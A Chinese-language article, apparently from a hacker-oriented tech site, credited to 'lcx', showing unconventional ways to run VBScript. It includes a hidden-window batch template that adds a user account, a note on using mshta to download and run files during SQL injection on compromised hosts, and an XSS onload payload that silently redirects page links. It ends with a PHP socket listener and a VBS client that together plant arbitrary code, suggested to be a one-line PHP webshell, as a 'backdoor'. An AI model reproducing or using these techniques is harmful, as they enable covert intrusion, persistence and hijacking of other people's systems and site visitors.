非常棒的lcx寫(xiě)的非常規(guī)運(yùn)行vbs
這個(gè)組件在xp、2003上默認(rèn)都可以用的，調(diào)用后可以聽(tīng)到電腦上一個(gè)國(guó)外老男人在說(shuō)話。好比這樣一句代碼：●CreateObject("SAPI.SpVoice").Speak "I LOVE YOU"●，保存成vbs后綴后雙擊就會(huì)聽(tīng)到英語(yǔ)的我愛(ài)你了。但隨之而來(lái)我們講到另一個(gè)問(wèn)題，不保存成vbs或vbe后綴如何運(yùn)行vbs代碼。
一、用mshta來(lái)運(yùn)行vbs
hta這種類(lèi)型的文件運(yùn)行后也是系統(tǒng)權(quán)限，其調(diào)用宿主就是mshta.exe。我們?cè)赾md下運(yùn)行這樣一行代碼：●mshta vbscript:createobject("sapi.spvoice").speak("I LOVE YOU.")(window.close)●，也會(huì)聽(tīng)到同樣的發(fā)音。這行代碼的意思類(lèi)似是臨時(shí)生成一個(gè)hta文件，然后運(yùn)行里邊的vbs代碼，再調(diào)用window.close將運(yùn)行窗口關(guān)掉。整個(gè)運(yùn)行過(guò)程是看不到hta窗口的。這種運(yùn)行方式你會(huì)想到什么？最少我是想到了兩個(gè)。一個(gè)是批處理的隱藏運(yùn)行，基本代碼如下：
★
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
rem 下邊開(kāi)始寫(xiě)批處代碼了
net user lcx 12345 /add
★
這個(gè)代碼只能雙擊運(yùn)行，運(yùn)行過(guò)程中你看不到具體的批處理運(yùn)行流程的。第二個(gè)我想的是注射過(guò)程中的用途。網(wǎng)上有篇流傳很廣的文章《mssql注射中多次調(diào)用參數(shù)導(dǎo)致多次echo的解決方法》，中心思想是將vbs語(yǔ)句用冒號(hào)連接起來(lái)然后用echo命令一次寫(xiě)入到被注入的肉雞上，然后再調(diào)用這個(gè)vbs來(lái)下載文件。如果調(diào)用mshta執(zhí)行的話，下載、執(zhí)行一次就ok了。不過(guò)在命令行下用mshta后邊直接跟vbs代碼有個(gè)難處理的問(wèn)題是空格，不過(guò)這個(gè)好解決用execute將vbs代碼放在括號(hào)里就ok了，這個(gè)讀者可以親自去試一下了，相信我不難的。
二、用ie地址欄運(yùn)行vbs
很多人會(huì)用ie地址欄運(yùn)行js，其實(shí)vbs一樣是可以的，我們隨便打開(kāi)一個(gè)網(wǎng)站，在地址欄上輸入：vbscript:msgbox(Document.links.length)后回車(chē)，就會(huì)看到當(dāng)前頁(yè)面有多少個(gè)連接了。用document.links(i).href這句的話，將i換成不同的自然數(shù)好比0、1、2、3等就會(huì)分別顯示出不同的鏈接地址。這部份內(nèi)容其實(shí)是涉及到dhtml的內(nèi)容了。我們來(lái)看一個(gè)最簡(jiǎn)單的示例代碼：
★
<a href=http://www.sohu.com>www.sohu.com</a>
<a href=http://www.baidu.com>www.baidu.com</a>
★
這是兩個(gè)鏈接，保存成網(wǎng)頁(yè)后點(diǎn)擊就會(huì)跳轉(zhuǎn)到不同的頁(yè)面。如果這個(gè)頁(yè)面有跨站，我想搞下破壞，讓用戶點(diǎn)擊www.sohu.com卻跑到我指定的頁(yè)面上能做到嗎？其實(shí)可以的，只要加一行語(yǔ)句就可以了，代碼是：●<body onload='vbscript:document.links(0).>●。這樣的話用戶再點(diǎn)擊sohu其實(shí)會(huì)跑到google上去了，原來(lái)頁(yè)面的版式卻絲毫沒(méi)有破壞。同樣的dhtml元素還有document.links(i).href、document.images(i).src、document.forms(i).action等等，跨站改變其動(dòng)態(tài)元素是很好玩的。
三、調(diào)用外部組件來(lái)運(yùn)行vbs
vbs本身功能畢竟有限，但是卻可以很好的與外部交互。要是用vbs來(lái)模擬nc發(fā)包的話，就要調(diào)用vb組件了。關(guān)于VBS如何成功調(diào)用MSWinsock.Winsock，zzzevazzz說(shuō)的很清楚了。就是下載Winsock.ocs注冊(cè)，和VB6控件的授權(quán)密鑰的.reg導(dǎo)入注冊(cè)表。兩個(gè)文件可以在http://zzzevazzz.bokee.com/inc/vb6controls.rar這里下載。前不久學(xué)了一段時(shí)間php，網(wǎng)上看到一個(gè)php的監(jiān)聽(tīng)程序，可以用它來(lái)做一個(gè)后門(mén)，s端s.php代碼如下：
★
<?
// 設(shè)置一些基本的變量
$host = "192.168.８.100";
$port = 12345;
// 設(shè)置超時(shí)時(shí)間
set_time_limit(0);
// 創(chuàng)建一個(gè)Socket
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create
socket\n");
//綁定Socket到端口
$result = socket_bind($socket, $host, $port) or die("Could not bind to
socket\n");
// 開(kāi)始監(jiān)聽(tīng)鏈接
$result = socket_listen($socket, 3) or die("Could not set up socket
listener\n");
// accept incoming connections
// 另一個(gè)Socket來(lái)處理通信
$spawn = socket_accept($socket) or die("Could not accept incoming
connection\n");
// 獲得客戶端的輸入
$input = socket_read($spawn, 1024) or die("Could not read input\n");
// 清空輸入字符串
$input = trim($input);//將輸入結(jié)果寫(xiě)入ok.php，這句是我加的
fputs(fopen('ok.php','a+'),"$input");
//處理客戶端輸入并返回結(jié)果
$output = strrev($input) . "\n";
socket_write($spawn, $output, strlen ($output)) or die("Could not write
output\n");
// 關(guān)閉sockets
socket_close($spawn);
socket_close($socket);
?>
★
在ie打開(kāi)這個(gè)php，運(yùn)行它的服務(wù)器會(huì)監(jiān)聽(tīng)12345端口。如果我們?cè)儆胿bs向12345端口發(fā)包的話，在同文件的php目錄下會(huì)生成ok.php。發(fā)包的內(nèi)容就是我們要寫(xiě)入ok.php的代碼。該vbs文件c.vbs代碼如下：
★
Set ie=WScript.CreateObject("InternetExplorer.Application")
ie.visible=false
ie.Navigate "http://192.168.8.100/s.php" 's.php是服務(wù)端
While ie.Busy
WScript.Sleep 100
Wend
Do
Wscript.Sleep 200
Loop Until ie.ReadyState=4
Set socket=WScript.CreateObject("MSWinsock.Winsock")
socket.Protocol=0
socket.RemotePort="12345" '端口
socket.RemoteHost="192.168.8.100" '主機(jī)
socket.connect socket.RemoteHost, socket.RemotePort '連接
WScript.sleep 10
ddd="<?phpinfo();>"&Chr(13) '這里你可以改成一句話的php木馬
socket.SendData ddd
WScript.sleep 100
wscript.echo "ok"
'socket.senddata Chr(13)
socket.close
Set ie=nothing
★
一個(gè)vbs和一個(gè)php珠聯(lián)璧合，打造了一個(gè)非常規(guī)后門(mén)。當(dāng)然這個(gè)后門(mén)的價(jià)值不大，但重要的是思路，不是嗎？
上一篇：vbs搜索文件名或者得到目錄列表
欄 目：vb
下一篇：VBS編程教程第一部
本文標(biāo)題：非常棒的lcx寫(xiě)的非常規(guī)運(yùn)行vbs
本文地址：http://mengdiqiu.com.cn/a1/vb/7784.html
您可能感興趣的文章
- 01-10下載文件到本地運(yùn)行的vbs
- 01-10什么是一個(gè)高效的軟件
- 01-10VBS中的正則表達(dá)式的用法大全 <font color=red>原創(chuàng)&
- 01-10VBS中SendKeys的基本應(yīng)用
- 01-10VBS中Select CASE的其它用法
- 01-10VBScript的入門(mén)學(xué)習(xí)資料
- 01-10VBScript教程 第十二課VBScript頁(yè)面的簡(jiǎn)單樣例
- 01-10VBS教程：正則表達(dá)式簡(jiǎn)介
- 01-10VBS教程：方法-Copy 方法
- 01-10VBS教程：方法-Move 方法
閱讀排行
- 1C語(yǔ)言 while語(yǔ)句的用法詳解
- 2java 實(shí)現(xiàn)簡(jiǎn)單圣誕樹(shù)的示例代碼(圣誕
- 3利用C語(yǔ)言實(shí)現(xiàn)“百馬百擔(dān)”問(wèn)題方法
- 4C語(yǔ)言中計(jì)算正弦的相關(guān)函數(shù)總結(jié)
- 5c語(yǔ)言計(jì)算三角形面積代碼
- 6什么是 WSH(腳本宿主)的詳細(xì)解釋
- 7C++ 中隨機(jī)函數(shù)random函數(shù)的使用方法
- 8正則表達(dá)式匹配各種特殊字符
- 9C語(yǔ)言十進(jìn)制轉(zhuǎn)二進(jìn)制代碼實(shí)例
- 10C語(yǔ)言查找數(shù)組里數(shù)字重復(fù)次數(shù)的方法
本欄相關(guān)
- 01-10下載文件到本地運(yùn)行的vbs
- 01-10飄葉千夫指源代碼，又稱(chēng)qq刷屏器
- 01-10SendKeys參考文檔
- 01-10什么是一個(gè)高效的軟件
- 01-10VBS中的正則表達(dá)式的用法大全 &l
- 01-10exe2swf 工具(Adodb.Stream版)
- 01-10VBS中SendKeys的基本應(yīng)用
- 01-10用VBSCRIPT控制ONSUBMIT事件
- 01-10VBScript教程 第十一課深入VBScript
- 01-10VBScript語(yǔ)法速查及實(shí)例說(shuō)明
隨機(jī)閱讀
- 01-10delphi制作wav文件的方法
- 08-05DEDE織夢(mèng)data目錄下的sessions文件夾有什
- 01-11Mac OSX 打開(kāi)原生自帶讀寫(xiě)NTFS功能(圖文
- 04-02jquery與jsp,用jquery
- 01-10SublimeText編譯C開(kāi)發(fā)環(huán)境設(shè)置
- 08-05dedecms(織夢(mèng))副欄目數(shù)量限制代碼修改
- 01-10C#中split用法實(shí)例總結(jié)
- 08-05織夢(mèng)dedecms什么時(shí)候用欄目交叉功能？
- 01-10使用C語(yǔ)言求解撲克牌的順子及n個(gè)骰子
- 01-11ajax實(shí)現(xiàn)頁(yè)面的局部加載